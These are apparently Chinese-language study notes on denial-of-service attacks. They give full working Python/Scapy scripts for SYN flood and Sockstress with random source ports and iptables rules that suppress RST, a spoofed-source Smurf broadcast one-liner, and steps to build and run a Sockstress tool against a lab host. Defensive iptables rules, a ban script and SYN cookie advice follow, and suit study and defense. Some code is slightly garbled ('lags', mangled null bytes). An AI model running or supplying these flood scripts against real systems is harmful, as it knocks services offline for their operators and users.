DoS分类
网络:
1.基于大量的Flood耗尽目标网络的带宽资源
例如:ICMP Flood,UDP Flood
协议:
1.攻击协议漏洞发起的拒绝服务攻击
例如:Syn Flood,Ping of Death,SSL
应用:
针对应用软件和操作系统漏洞发起的拒绝服务攻击
例如:CC
Syn-Flood 伴随着IP地址欺骗,大概原理就是不断的不停的发送Syn包,导致目标服务器没有一个完整的tcp连接 Scapy 基础的Scapy定义数据包头 >>> i=IP() >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 options >>> i.dst="10.0.1.87" >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 10.0.1.92 dst= 10.0.1.87 options >>> t=TCP() >>> t.display() ###[ TCP ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> t.dport=22 >>> t.display() ###[ TCP ]### sport= ftp_data dport= ssh seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> sr1(i/t,verbose=1,timeout=2) Begin emission: Finished sending 1 packets. Received 4 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x241a src=10.0.1.87 dst=10.0.1.92 |<TCP sport=ssh dport=ftp_data seq=2412378543 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x85af urgptr=0 options=[('MSS', 1460)] |<Padding load='x00x00' |>>>
防火墙配置关闭本机发送rst包
RST包的作用:告诉服务器我不和你建立连接,计算机在接收到服务器的ack+syn包的时候,系统会自动发送RST
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.132 -j DROP
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' //查看本机tcp连接数
iptables -A ufw-user-input -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
或者使用ufw进行管理防火墙模块,但是无法添加准确的关闭drop rst的数据包
sudo ufw deny to 192.168.180.133
sudo ufw route deny to 192.168.180.133
https://help.ubuntu.com/community/UFW
http://manpages.ubuntu.com/manpages/bionic/man8/ufw.8.html
syn_flood.py #!/usr/bin/python # -*- coding: utf-8 -*- from scapy.all import * from time import sleep import thread import random import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) !=4: print "usage: ./syn_flood.py 10.0.1.1 80 50" sys.exit() target = str(sys.argv[1]) port = int(sys.argv[2]) threads = int(sys.argv[3]) print "Now Attacking with syn-flood please ctrl+c stop the attack" def synflood(target,port): while 8 == 8: x = random.randint(0,65535) send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0) for x in range(0,threads): thread.start_new_thread(synflood, (target,port)) while 8 == 8: sleep(1) TCP所有连接会话的状态 LISTEN 服务器端口处于侦听状态,等待连接请求 SYN-SENT 客户端发起连接请求,等待对端响应 SYN-RECV 服务端已经收到连接请求 (表示服务端接收到客户端的SYN包,并向服务端发送了SYN+ACK,但是没有收到客户端的ACK包,所以一直处于SYN-RECV的状态) ESTABLISHED 客户端和服务端3次握手成功,TCP连接已经建立 FIN-WAIT-1 客户端或者服务端等待对端响应中断请求确认,或者对端中断请求 FIN-WAIT-2 客户端或者服务端等待对端发送中断请求 CLOSE-WAIT 客户端或者服务端等待本地进程、用户关闭连接 CLOSING 客户端或者服务端等待对端响应连接中断确认 LAST-ACK 客户端或者服务端等待对端响应之前的连接中断确认 TIME-WAIT 客户端或者服务端等待足够时间长度确保对端收到连接中断确认(最大4分钟) CLOSE 客户端或者服务端没有任何连接状态 IP地址欺骗 经常用于DOS攻击 根据IP头地址寻址 -- 伪造IP源地址 边界路由过滤 -- 入站,出站 受害者可能是源,目的地址 绕过基于地址的验证 压力测试模拟多用户 上传协议(TCP协议号)
防御方式:
1.发现同一个IP地址对某端口建立不完整连接,直接封掉IP地址,下面是防御脚本
#!/bin/bash
netstat -an|grep SYN_RECV|awk '{print$5}'|awk -F: '{print$1}'|sort|uniq -c|sort -rn|awk '{if ($1 >5) print $2}' >> /tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo “$i kill at `date`” >>/var/log/ddos
done
2.减少syn-received的过期时间
3.设置防火墙进站和入站的规则
4.配置syn cookie
防御文章参考:
https://zh.wikipedia.org/wiki/SYN_cookie
https://segmentfault.com/a/1190000019292140
https://www.lijiaocn.com/%E6%8A%80%E5%B7%A7/2017/09/04/linux-net-tcp.html
syn flood参考
https://github.com/myh0st/scripts/blob/master/synflood/Syn_flood.py
https://mp.weixin.qq.com/s/jT4yxnpfFJ8QWGQECIvgHw
Smurf攻击
技术原理:利用icmp包,伪造源IP发广播包,广播局域网内的所有计算机回复广播包给伪造的IP,造成攻击对伪造IP的效果
对现在的操作系统几乎无效(不响应广播包)
Scapy
– i=IP()
– i.dst="1.1.1.255"
– p=ICMP()
– p.display()
– r=(i/p)
– send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
参考:
https://www.shuzhiduo.com/A/Gkz1qQ16zR/
https://segmentfault.com/a/1190000020079901
https://www.cloudflare.com/zh-cn/learning/ddos/smurf-ddos-attack/
https://www.wangan.com/wikis/610
https://www.youtube.com/watch?v=zyZn_c54mgA
Sockstress攻击 消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控
python测试代码
#!/usr/bin/python #coding=utf-8 from scapy.all import* from time import sleep import thread import random import logging import os import signal import sys import signal logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) != 4: print "用法: ./sockstress.py [IP地址] [端口] [线程数]" print "举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态" sys.exit() target = str(sys.argv[1]) dstport= int(sys.argv[2]) threads = int(sys.argv[3]) ## 攻击函数 def sockstress(target,dstport) : while 0 == 0: try: x = random.randint(0,65535) response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0) send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'x00x00',verbose=0) except: pass ## 停止攻击函数 def shutdown(signal,frame): print "正在修复 iptables 规则" os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP') sys.exit() ## 添加iptables规则 os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP') signal.signal(signal.SIGINT, shutdown) ## 多线程攻击 print " 攻击正在进行...按 Ctrl+C 停止攻击" for x in range(0,threads): thread.start_new_thread(sockstress, (target,dstport)) ##永远执行 while 0 == 0: sleep(1)
攻击测试:
测试之前还是要把操作系统发送的tcp reset请求给drop掉
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
下载并执行测试
git clone https://github.com/defuse/sockstress && cd sockstress/ && make
sudo ./sockstress 192.168.180.133:80 eth1 -p payloads/http -d 10
访问目标http://192.168.180.133发现已经无法访问了
防御措施 至今sockstress攻击仍然是一种有效的DoS攻击方式 由于已经建立完整的TCP三次握手,因此使用syn cookie防御机制是无效的 根本的 防御方法可以是采用白名单机制,但是不现实 折中对策:限制单位时间内每IP建立的TCP连接数 封杀每30秒与80端口建立连接超过10个的IP地址 iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP 参考: https://github.com/defuse/sockstress https://www.jianshu.com/p/5acb680dc512
https://mp.weixin.qq.com/s/HCNizX55UKEP0XgC572iHA TearDrop攻击 主要针对早期微软操作系统 原理:是使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时被拒绝服务 攻击效果:蓝屏,重启,卡死
这个不好测试